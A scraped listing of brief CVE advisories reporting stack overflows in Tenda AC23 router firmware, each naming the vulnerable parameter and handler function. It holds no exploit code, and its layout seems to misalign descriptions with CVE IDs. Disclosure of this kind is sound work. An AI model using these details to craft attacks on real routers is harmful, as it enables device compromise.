Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the wpapsk_crypto parameter in the fromSetWirelessRepeat function.

CVE-2022-43104: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the list parameter in the formSetQosBand function.

CVE-2022-43103: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the devName parameter in the formSetDeviceName function.

CVE-2022-43101: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the timeZone parameter in the fromSetSysTime function.

Tag

#windows